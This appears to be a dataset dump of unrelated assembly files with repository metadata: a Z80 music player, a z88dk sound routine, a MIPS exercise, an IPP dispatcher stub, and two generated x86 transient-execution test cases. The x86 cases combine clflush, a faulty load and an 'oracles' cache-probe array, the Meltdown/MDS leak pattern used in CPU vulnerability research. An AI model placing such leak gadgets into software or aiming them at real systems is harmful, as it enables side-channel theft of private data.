(IX+PUNTERO_A-PUNTERO_A),L LD (IX+PUNTERO_A-PUNTERO_A+1),H CALL INICIA_SONIDO RET COM_ENVOLVENTE: BIT 2,A RET Z ;IGNORA - ERROR INC HL LD A,(HL) ;CARGA CODIGO DE ENVOLVENTE LD (ENVOLVENTE),A INC HL LD (IX+PUNTERO_A-PUNTERO_A),L LD (IX+PUNTERO_A-PUNTERO_A+1),H LD L,C LD H,B LD (HL),00010000B ;ENCIENDE EFECTO ENVOLVENTE JR LOCALIZA_NOTA LNJP0: LD A,(HL) INC HL BIT 7,A JR Z,NO_FIN_CANAL_A ; BIT 0,A JR Z,FIN_CANAL_A FIN_NOTA_A: LD E,(IX+CANAL_A-PUNTERO_A) LD D,(IX+CANAL_A-PUNTERO_A+1) ;PUNTERO BUFFER AL INICIO LD (IX+PUNTERO_A-PUNTERO_A),E LD (IX+PUNTERO_A-PUNTERO_A+1),D LD L,(IX+PUNTERO_DECA-PUNTERO_A) ;CARGA PUNTERO DECODER LD H,(IX+PUNTERO_DECA-PUNTERO_A+1) PUSH BC CALL DECODE_CANAL ;DECODIFICA CANAL POP BC LD (IX+PUNTERO_DECA-PUNTERO_A),L ;GUARDA PUNTERO DECODER LD (IX+PUNTERO_DECA-PUNTERO_A+1),H JP LOCALIZA_NOTA FIN_CANAL_A: LD HL,INTERR ;LOOP? BIT 4,(HL) JR NZ,FCA_CONT POP AF JP PLAYER_OFF FCA_CONT: LD L,(IX+PUNTERO_L_DECA-PUNTERO_A) ;CARGA PUNTERO INICIAL DECODER LD H,(IX+PUNTERO_L_DECA-PUNTERO_A+1) LD (IX+PUNTERO_DECA-PUNTERO_A),L LD (IX+PUNTERO_DECA-PUNTERO_A+1),H JR FIN_NOTA_A NO_FIN_CANAL_A: LD (IX+PUNTERO_A-PUNTERO_A),L ;(PUNTERO_A_B_C)=HL GUARDA PUNTERO LD (IX+PUNTERO_A-PUNTERO_A+1),H AND A ;NO REPRODUCE NOTA SI NOTA=0 JR Z,FIN_RUTINA BIT 6,A ;SILENCIO? JR Z,NO_SILENCIO_A LD A,(BC) AND 00010000B JR NZ,SILENCIO_ENVOLVENTE XOR A LD (BC),A ;RESET VOLUMEN DEL CORRESPODIENTE CHIP LD (IY+0),A LD (IY+1),A RET SILENCIO_ENVOLVENTE: LD A,$FF LD (asm_wyz_PSG_REG+11),A LD (asm_wyz_PSG_REG+12),A XOR A LD (asm_wyz_PSG_REG+13),A LD (IY+0),A LD (IY+1),A RET NO_SILENCIO_A: LD (IX+REG_NOTA_A-PUNTERO_A),A ;REGISTRO DE LA NOTA DEL CANAL CALL NOTA ;REPRODUCE NOTA LD L,(IX+PUNTERO_P_A0-PUNTERO_A) ;HL=(PUNTERO_P_A0) RESETEA PAUTA LD H,(IX+PUNTERO_P_A0-PUNTERO_A+1) LD (IX+PUNTERO_P_A-PUNTERO_A),L ;(PUNTERO_P_A)=HL LD (IX+PUNTERO_P_A-PUNTERO_A+1),H FIN_RUTINA: RET ;LOCALIZA EFECTO ;IN HL=(PUNTERO_P) LOCALIZA_EFECTO: LD L,(IX+0) ;HL=(PUNTERO_P) LD H,(IX+1) LD A,(HL) CP 11000010B JR NZ,LEJP0 INC HL LD A,(HL) INC HL LD (IX+00),L LD (IX+01),H CALL INICIA_SONIDO RET LEJP0: INC HL BIT 7,A JR Z,NO_FIN_CANAL_P ; BIT 0,A JR Z,FIN_CANAL_P FIN_NOTA_P: LD DE,(CANAL_P) LD (IX+0),E LD (IX+1),D LD HL,(PUNTERO_DECP) ;CARGA PUNTERO DECODER PUSH BC CALL DECODE_CANAL ;DECODIFICA CANAL POP BC LD (PUNTERO_DECP),HL ;GUARDA PUNTERO DECODER JP LOCALIZA_EFECTO FIN_CANAL_P: LD HL,(PUNTERO_L_DECP) ;CARGA PUNTERO INICIAL DECODER LD (PUNTERO_DECP),HL JR FIN_NOTA_P NO_FIN_CANAL_P: LD (IX+0),L ;(PUNTERO_A_B_C)=HL GUARDA PUNTERO LD (IX+1),H RET ; PAUTA DE LOS 3 CANALES ; IN:(IX):PUNTERO DE LA PAUTA ; (HL):REGISTRO DE VOLUMEN ; (IY):REGISTROS DE FRECUENCIA ; FORMATO PAUTA ; 7 6 5 4 3-0 3-0 ; BYTE 1 (LOOP|OCT-1|OCT+1|ORNMT|VOL) - BYTE 2 ( | | | |PITCH/NOTA) PAUTA: BIT 4,(HL) ;SI LA ENVOLVENTE ESTA ACTIVADA NO ACTUA PAUTA RET NZ LD A,(IY+0) LD B,(IY+1) OR B RET Z PUSH HL PCAJP4: LD L,(IX+0) LD H,(IX+1) LD A,(HL) BIT 7,A ;LOOP / EL RESTO DE BITS NO AFECTAN JR Z,PCAJP0 AND 00011111B ;M�XIMO LOOP PAUTA (0,32)X2!!!-> PARA ORNAMENTOS RLCA ;X2 LD D,0 LD E,A SBC HL,DE LD A,(HL) PCAJP0: BIT 6,A ;OCTAVA -1 JR Z,PCAJP1 LD E,(IY+0) LD D,(IY+1) AND A RRC D RR E LD (IY+0),E LD (IY+1),D JR PCAJP2 PCAJP1: BIT 5,A ;OCTAVA +1 JR Z,PCAJP2 LD E,(IY+0) LD D,(IY+1) AND A RLC E RL D LD (IY+0),E LD (IY+1),D PCAJP2: LD A,(HL) BIT 4,A JR NZ,PCAJP6 ;ORNAMENTOS SELECCIONADOS INC HL ;______________________ FUNCION PITCH DE FRECUENCIA__________________ PUSH HL LD E,A LD A,(HL) ;PITCH DE FRECUENCIA LD L,A AND A LD A,E JR Z,ORNMJP1 LD A,(IY+0) ;SI LA FRECUENCIA ES 0 NO HAY PITCH ADD A,(IY+1) AND A LD A,E JR Z,ORNMJP1 BIT 7,L JR Z,ORNNEG LD H,$FF JR PCAJP3 ORNNEG: LD H,0 PCAJP3: LD E,(IY+0) LD D,(IY+1) ADC HL,DE LD (IY+0),L LD (IY+1),H JR ORNMJP1 PCAJP6: INC HL ;______________________ FUNCION ORNAMENTOS__________________ PUSH HL PUSH AF LD A,(IX+REG_NOTA_A-PUNTERO_P_A) ;RECUPERA REGISTRO DE NOTA EN EL CANAL LD E,(HL) ; ADC E ;+- NOTA CALL TABLA_NOTAS POP AF ORNMJP1: POP HL INC HL LD (IX+0),L LD (IX+1),H PCAJP5: POP HL LD B,(IX+VOL_INST_A-PUNTERO_P_A) ;VOLUMEN RELATIVO ADD B JP P,PCAJP7 LD A,1 ;NO SE EXTIGUE EL VOLUMEN PCAJP7: AND 00001111B ;VOLUMEN FINAL MODULADO LD (HL),A RET ;NOTA : REPRODUCE UNA NOTA ;IN (A)=CODIGO DE LA NOTA ; (IY)=REGISTROS DE FRECUENCIA NOTA: LD L,C LD H,B BIT 4,(HL) LD B,A JR NZ,EVOLVENTES LD A,B TABLA_NOTAS: LD HL,(asm_wyz_DATOS_NOTAS) ;BUSCA FRECUENCIA CALL EXT_WORD LD (IY+0),L LD (IY+1),H RET ;IN (A)=CODIGO DE LA ENVOLVENTE ; (IY)=REGISTRO DE FRECUENCIA EVOLVENTES: LD HL,(asm_wyz_DATOS_NOTAS) ;SUB 12 RLCA ;X2 LD D,0 LD E,A ADD HL,DE LD E,(HL) INC HL LD D,(HL) PUSH DE LD A,(ENVOLVENTE) ;FRECUENCIA DEL CANAL ON/OFF RRA JR NC,FRECUENCIA_OFF LD (IY+0),E LD (IY+1),D JR CONT_ENV FRECUENCIA_OFF: LD DE,$0000 LD (IY+0),E LD (IY+1),D ;CALCULO DEL RATIO (OCTAVA ARRIBA) CONT_ENV: POP DE PUSH AF PUSH BC AND 00000011B LD B,A ;INC B ;AND A ;1/2 RR D RR E CRTBC0: ;AND A ;1/4 - 1/8 - 1/16 RR D RR E DJNZ CRTBC0 LD A,E LD (asm_wyz_PSG_REG+11),A LD A,D AND 00000011B LD (asm_wyz_PSG_REG+12),A POP BC POP AF ;SELECCION FORMA DE ENVOLVENTE RRA AND 00000110B ;$08,$0A,$0C,$0E ADD 8 LD (asm_wyz_PSG_REG+13),A LD (asm_wyz_ENVOLVENTE_BACK),A RET ;EXTRAE UN WORD DE UNA TABLA ;IN:(HL)=DIRECCION TABLA ; (A)= POSICION ;OUT(HL)=WORD EXT_WORD: LD D,0 RLCA LD E,A ADD HL,DE LD E,(HL) INC HL LD D,(HL) EX DE,HL RET ; Initialise playing an effect ; Entry: a = channel ; b = effect to play asm_wyz_start_effect: INICIA_EFECTO: ld (CANAL_EFECTOS),a ld a,b LD HL,(asm_wyz_TABLA_EFECTOS) CALL EXT_WORD LD (PUNTERO_EFECTO),HL LD HL,INTERR SET 3,(HL) RET REPRODUCE_EFECTO: LD HL,INTERR BIT 3,(HL) ;ESTA ACTIVADO EL EFECTO? RET Z LD HL,(PUNTERO_EFECTO) LD A,(HL) CP $FF JP Z,FIN_EFECTO LD B,A ;FRECUENCIA FINO INC HL LD A,(HL) RRCA RRCA RRCA RRCA AND 00001111B LD C,A ; FRECUENCIA GRAVE ;LD A,10111000B ; ELIMINA RUIDO ;LD (asm_wyz_PSG_REG_SEC+7),A LD A,(HL) DEC A ;DEC A PARA BAJR VOLUMEN!! O PONER VARIABLE ;DEC A AND 00001111B LD D,A ;VOLUMEN INC HL ;INCREMENTA Y GUARDA EL PUNTERO LD (PUNTERO_EFECTO),HL LD IX,asm_wyz_PSG_REG_SEC LD A,(CANAL_EFECTOS) ;SELECCION DE CANAL ********* CP 1 JR Z,RS_CANALA CP 2 JR Z,RS_CANALB RS_CANALC: LD (IX+4),B LD (IX+5),C LD (IX+10),D RET RS_CANALA: LD (IX+0),B LD (IX+1),C LD (IX+8),D RET RS_CANALB: LD (IX+2),B LD (IX+3),C LD (IX+9),D RET asm_wyz_stop_effect: FIN_EFECTO: LD HL,INTERR RES 3,(HL) ;DESACTIVA EFECTO RET ;TABLA DE DATOS DEL SELECTOR DEL CANAL DE EFECTOS DE RITMO TABLA_DATOS_CANAL_SFX: defw SELECT_CANAL_A,SELECT_CANAL_B,SELECT_CANAL_C ;BYTE 0:SFX_L ;BYTE 1:SFX_H ;BYTE 2:SFX_V ;BYTE 3:SFX_MIX SELECT_CANAL_A: defw asm_wyz_PSG_REG_SEC+0,asm_wyz_PSG_REG_SEC+1,asm_wyz_PSG_REG_SEC+8 defb 10110001B SELECT_CANAL_B: defw asm_wyz_PSG_REG_SEC+2,asm_wyz_PSG_REG_SEC+3,asm_wyz_PSG_REG_SEC+9 defb 10101010B SELECT_CANAL_C: defw asm_wyz_PSG_REG_SEC+4,asm_wyz_PSG_REG_SEC+5,asm_wyz_PSG_REG_SEC+10 defb 10011100B ;____________________________________ SECTION bss_psg INTERR: defb 0 ;INTERRUPTORES 1=ON 0=OFF ;BIT 0=CARGA CANCION ON/OFF ;BIT 1=PLAYER ON/OFF ;BIT 2=EFECTOS ON/OFF ;BIT 3=SFX ON/OFF ;BIT 4=LOOP ;CONTROL DE LAS INTERRUPCIONES ;HOOK: defb 0 ;MUSICA **** EL ORDEN DE LAS VARIABLES ES FIJO ****** SONG: defb 0 ;DBN� DE CANCION TEMPO: defb 0 ;DB TEMPO TTEMPO: defb 0 ;DB CONTADOR TEMPO PUNTERO_A: defw 0 ;DW PUNTERO DEL CANAL A PUNTERO_B: defw 0 ;DW PUNTERO DEL CANAL B PUNTERO_C: defw 0 ;DW PUNTERO DEL CANAL C PUNTERO_EFECTO: defw 0 ;DW PUNTERO DEL SONIDO QUE SE REPRODUCE;REPRODUCE EFECTOS CANAL_A: defw 0 ;DW DIRECION DE INICIO DE LA MUSICA A CANAL_B: defw 0 ;DW DIRECION DE INICIO DE LA MUSICA B CANAL_C: defw 0 ;DW DIRECION DE INICIO DE LA MUSICA C CANAL_EFECTOS: defb 3 ;DB : 1:CANAL A - 2:CANAL B - OTRO:CANAL C PUNTERO_P_A: defw 0 ;DW PUNTERO PAUTA CANAL A PUNTERO_P_B: defw 0 ;DW PUNTERO PAUTA CANAL B PUNTERO_P_C: defw 0 ;DW PUNTERO PAUTA CANAL C PUNTERO_P_A0: defw 0 ;DW INI PUNTERO PAUTA CANAL A PUNTERO_P_B0: defw 0 ;DW INI PUNTERO PAUTA CANAL B PUNTERO_P_C0: defw 0 ;DW INI PUNTERO PAUTA CANAL C PUNTERO_P_DECA: defw 0 ;DW PUNTERO DE INICIO DEL DECODER CANAL A PUNTERO_P_DECB: defw 0 ;DW PUNTERO DE INICIO DEL DECODER CANAL B PUNTERO_P_DECC: defw 0 ;DW PUNTERO DE INICIO DEL DECODER CANAL C PUNTERO_DECA: defw 0 ;DW PUNTERO DECODER CANAL A PUNTERO_DECB: defw 0 ;DW PUNTERO DECODER CANAL B PUNTERO_DECC: defw 0 ;DW PUNTERO DECODER CANAL C REG_NOTA_A: defb 0 ;DB REGISTRO DE LA NOTA EN EL CANAL A VOL_INST_A: defb 0 ;DB VOLUMEN RELATIVO DEL INSTRUMENTO DEL CANAL A REG_NOTA_B: defb 0 ;DB REGISTRO DE LA NOTA EN EL CANAL B VOL_INST_B: defb 0 ;DB VOLUMEN RELATIVO DEL INSTRUMENTO DEL CANAL B ;VACIO REG_NOTA_C: defb 0 ;DB REGISTRO DE LA NOTA EN EL CANAL C VOL_INST_C: defb 0 ;DB VOLUMEN RELATIVO DEL INSTRUMENTO DEL CANAL C PUNTERO_L_DECA: defw 0 ;DW PUNTERO DE INICIO DEL LOOP DEL DECODER CANAL A PUNTERO_L_DECB: defw 0 ;DW PUNTERO DE INICIO DEL LOOP DEL DECODER CANAL B PUNTERO_L_DECC: defw 0 ;DW PUNTERO DE INICIO DEL LOOP DEL DECODER CANAL C ;CANAL DE EFECTOS DE RITMO - ENMASCARA OTRO CANAL PUNTERO_P: defw 0 ;DW PUNTERO DEL CANAL EFECTOS CANAL_P: defw 0 ;DW DIRECION DE INICIO DE LOS EFECTOS PUNTERO_P_DECP: defw 0 ;DW PUNTERO DE INICIO DEL DECODER CANAL P PUNTERO_DECP: defw 0 ;DW PUNTERO DECODER CANAL P PUNTERO_L_DECP: defw 0 ;DW PUNTERO DE INICIO DEL LOOP DEL DECODER CANAL P ;SELECT_CANAL_P defb INTERR+$36 ;DB SELECCION DE CANAL DE EFECTOS DE RITMO SFX_L: defw 0 ;DW DIRECCION BUFFER EFECTOS DE RITMO REGISTRO BAJO SFX_H: defw 0 ;DW DIRECCION BUFFER EFECTOS DE RITMO REGISTRO ALTO SFX_V: defw 0 ;DW DIRECCION BUFFER EFECTOS DE RITMO REGISTRO VOLUMEN SFX_MIX: defw 0 ;DW DIRECCION BUFFER EFECTOS DE RITMO REGISTRO MIXER ;EFECTOS DE SONIDO N_SONIDO: defb 0 ;DB : NUMERO DE SONIDO PUNTERO_SONIDO: defw 0 ;DW : PUNTERO DEL SONIDO QUE SE REPRODUCE ;DB (13) BUFFERs DE REGISTROS DEL PSG asm_wyz_PSG_REG: defs 16 asm_wyz_PSG_REG_SEC: defs 16 ENVOLVENTE: defb 0 ;DB : FORMA DE LA ENVOLVENTE ;BIT 0 : FRECUENCIA CANAL ON/OFF ;BIT 1-2 : RATIO ;BIT 3-3 : FORMA asm_wyz_ENVOLVENTE_BACK: defb 0 ;DB: BACKUP DE LA FORMA DE LA ENVOLENTE ;MEMORIA PARA BUFFER DE SONIDO! ;RECOMENDABLE $10 O MAS BYTES POR CANAL. BUFFER_CANAL_A: defs $10 BUFFER_CANAL_B: defs $10 BUFFER_CANAL_C: defs $10 BUFFER_CANAL_P: defs $10 asm_wyz_TABLA_PAUTAS: defw 0 asm_wyz_TABLA_SONIDOS: defw 0 asm_wyz_DATOS_NOTAS: defw 0 asm_wyz_TABLA_SONG: defw 0 asm_wyz_TABLA_EFECTOS: defw 0 ENDIF
22.992958
92
0.541692
21af271793b99bf669af0f7f1670dd95e948d3b0
540
asm
Assembly
libsrc/_DEVELOPMENT/sound/bit/z80/asm_bit_click_di.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/sound/bit/z80/asm_bit_click_di.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/sound/bit/z80/asm_bit_click_di.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; =============================================================== ; 2001 Stefano Bodrato ; =============================================================== ; ; void bit_click_di(void) ; ; Toggle state of 1-bit output device. ; ; =============================================================== SECTION code_clib SECTION code_sound_bit PUBLIC asm_bit_click_di EXTERN asm_bit_click, asm_cpu_push_di, asm0_cpu_pop_ei asm_bit_click_di: ; uses : af, c, (bc if port_16) call asm_cpu_push_di call asm_bit_click jp asm0_cpu_pop_ei
20.769231
65
0.485185
d5df85172a2aaef0fac6c1b4785052e3acc91252
394
asm
Assembly
LAB4/es3.asm
ntauth/computer-architecture-unimib
f6a87c360d24289029adb35eb0244e59bc1dfa56
[ "MIT" ]
null
null
null
LAB4/es3.asm
ntauth/computer-architecture-unimib
f6a87c360d24289029adb35eb0244e59bc1dfa56
[ "MIT" ]
null
null
null
LAB4/es3.asm
ntauth/computer-architecture-unimib
f6a87c360d24289029adb35eb0244e59bc1dfa56
[ "MIT" ]
null
null
null
.data # Data goes here max_c: .word 10 max_i: .word 4 .text .globl main main: xor $t0, $t0, $t0 xor $t1, $t1, $t1 lw $s0, max_c lw $s1, max_i loop: seq $t2, $t0, $s0 bne $t2, $0, zero addi $t0, $t0, 1 j loop_e zero: xor $t0, $t0, $t0 addi $t1, $t1, 1 seq $t2, $t1, $s1 bne $t2, $0, epilog loop_e: j loop epilog: # finisce il programma (syscall exit) li $v0, 10 syscall
13.133333
38
0.586294
c6dbdf0616bd10c2414c527d1540feed9f7fba4f
2,179
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_1_1745.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_1_1745.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_1_1745.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x1d91c, %rsi lea addresses_D_ht+0x1a8fc, %rdi nop nop and %r13, %r13 mov $75, %rcx rep movsl nop nop cmp $31443, %rbp lea addresses_UC_ht+0xf89c, %rsi lea addresses_WT_ht+0x51c6, %rdi clflush (%rdi) nop xor %rax, %rax mov $33, %rcx rep movsb nop nop nop and $26821, %r13 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_US+0x1409c, %rsi mov $0xf9c, %rdi clflush (%rdi) nop nop nop nop sub $29173, %r10 mov $48, %rcx rep movsb nop nop xor %rcx, %rcx // Store lea addresses_PSE+0x49c, %r15 nop cmp $52826, %rbx movb $0x51, (%r15) nop sub $10547, %rsi // Store lea addresses_US+0xaed4, %r15 nop nop and %rbx, %rbx mov $0x5152535455565758, %r8 movq %r8, (%r15) nop nop nop nop xor %rbx, %rbx // Faulty Load lea addresses_D+0x1e89c, %rcx add %rbx, %rbx mov (%rcx), %esi lea oracles, %r15 and $0xff, %rsi shlq $12, %rsi mov (%r15,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_US', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_P', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}} {'36': 1} 36 */
18.784483
147
0.64525
8cb8b6b24022cc9c33189bea11c07e86a25bc74b
1,085
asm
Assembly
_build/dispatcher/jmp_ippsGFpGetElement_2e3490f8.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsGFpGetElement_2e3490f8.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsGFpGetElement_2e3490f8.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
extern m7_ippsGFpGetElement:function extern n8_ippsGFpGetElement:function extern y8_ippsGFpGetElement:function extern e9_ippsGFpGetElement:function extern l9_ippsGFpGetElement:function extern n0_ippsGFpGetElement:function extern k0_ippsGFpGetElement:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsGFpGetElement .Larraddr_ippsGFpGetElement: dq m7_ippsGFpGetElement dq n8_ippsGFpGetElement dq y8_ippsGFpGetElement dq e9_ippsGFpGetElement dq l9_ippsGFpGetElement dq n0_ippsGFpGetElement dq k0_ippsGFpGetElement segment .text global ippsGFpGetElement:function (ippsGFpGetElement.LEndippsGFpGetElement - ippsGFpGetElement) .Lin_ippsGFpGetElement: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsGFpGetElement: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsGFpGetElement] mov r11, qword [r11+rax*8] jmp r11 .LEndippsGFpGetElement:
27.820513
95
0.797235
7195a9519def9f9886d3ba23f40160afc05acee7
8,375
asm
Assembly
Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca.log_21829_416.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca.log_21829_416.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca.log_21829_416.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1789d, %rsi lea addresses_UC_ht+0x12cac, %rdi nop nop cmp $63242, %r10 mov $107, %rcx rep movsw nop nop nop nop nop and %r8, %r8 lea addresses_WC_ht+0x1c4ec, %rsi lea addresses_WC_ht+0x1142c, %rdi nop nop inc %rbx mov $15, %rcx rep movsq nop nop nop nop nop sub $33439, %rcx lea addresses_WT_ht+0x1154e, %r10 dec %r12 mov (%r10), %bx xor $12192, %rcx lea addresses_D_ht+0x7d6c, %r8 sub $29622, %r10 mov (%r8), %cx nop nop nop inc %rsi lea addresses_UC_ht+0x58ec, %rsi lea addresses_normal_ht+0x13a4c, %rdi nop nop nop add %rdx, %rdx mov $67, %rcx rep movsl nop nop nop inc %rbx lea addresses_D_ht+0xf4ec, %rsi lea addresses_UC_ht+0x10ec, %rdi and %r10, %r10 mov $55, %rcx rep movsb nop nop nop nop nop and %rsi, %rsi lea addresses_D_ht+0x18aec, %rsi lea addresses_WC_ht+0xa464, %rdi nop xor $51626, %r12 mov $12, %rcx rep movsq nop nop nop add %rbx, %rbx lea addresses_normal_ht+0x1e0d0, %r10 nop nop nop nop and $25126, %rdx mov $0x6162636465666768, %rdi movq %rdi, (%r10) nop nop xor $16492, %r10 lea addresses_A_ht+0xb4ec, %rsi lea addresses_UC_ht+0x14aec, %rdi clflush (%rdi) xor $11950, %rdx mov $47, %rcx rep movsl nop nop sub $1487, %rcx lea addresses_WT_ht+0x1cd6c, %rsi nop nop cmp $14045, %rcx movups (%rsi), %xmm5 vpextrq $1, %xmm5, %rdx nop nop cmp $52320, %rdi lea addresses_WT_ht+0x14fac, %r8 nop xor $23350, %rdi mov $0x6162636465666768, %r12 movq %r12, %xmm7 and $0xffffffffffffffc0, %r8 movaps %xmm7, (%r8) add %rdx, %rdx lea addresses_WC_ht+0x102ec, %rsi lea addresses_D_ht+0x62ec, %rdi nop nop nop nop nop xor $32062, %r8 mov $22, %rcx rep movsb nop nop nop nop inc %rsi lea addresses_normal_ht+0xa1a4, %rdi nop nop nop nop nop and %r12, %r12 mov (%rdi), %dx nop nop nop nop sub %r10, %r10 lea addresses_WC_ht+0x182ec, %rbx sub $63922, %r10 movl $0x61626364, (%rbx) nop and %rdx, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r15 push %rbp push %rbx push %rdi // Store lea addresses_WC+0x644c, %r14 nop nop dec %r15 movw $0x5152, (%r14) nop nop nop nop and %r12, %r12 // Store lea addresses_D+0xc4ec, %rbp nop nop xor %rbx, %rbx movl $0x51525354, (%rbp) nop nop nop nop nop sub %r14, %r14 // Store lea addresses_UC+0x742c, %r15 nop nop xor %rbp, %rbp mov $0x5152535455565758, %rbx movq %rbx, %xmm1 movups %xmm1, (%r15) nop nop nop nop nop xor %r12, %r12 // Faulty Load lea addresses_US+0x92ec, %r15 clflush (%r15) inc %rdi movb (%r15), %r14b lea oracles, %r12 and $0xff, %r14 shlq $12, %r14 mov (%r12,%r14,1), %r14 pop %rdi pop %rbx pop %rbp pop %r15 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D'}} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': True, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': True, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': 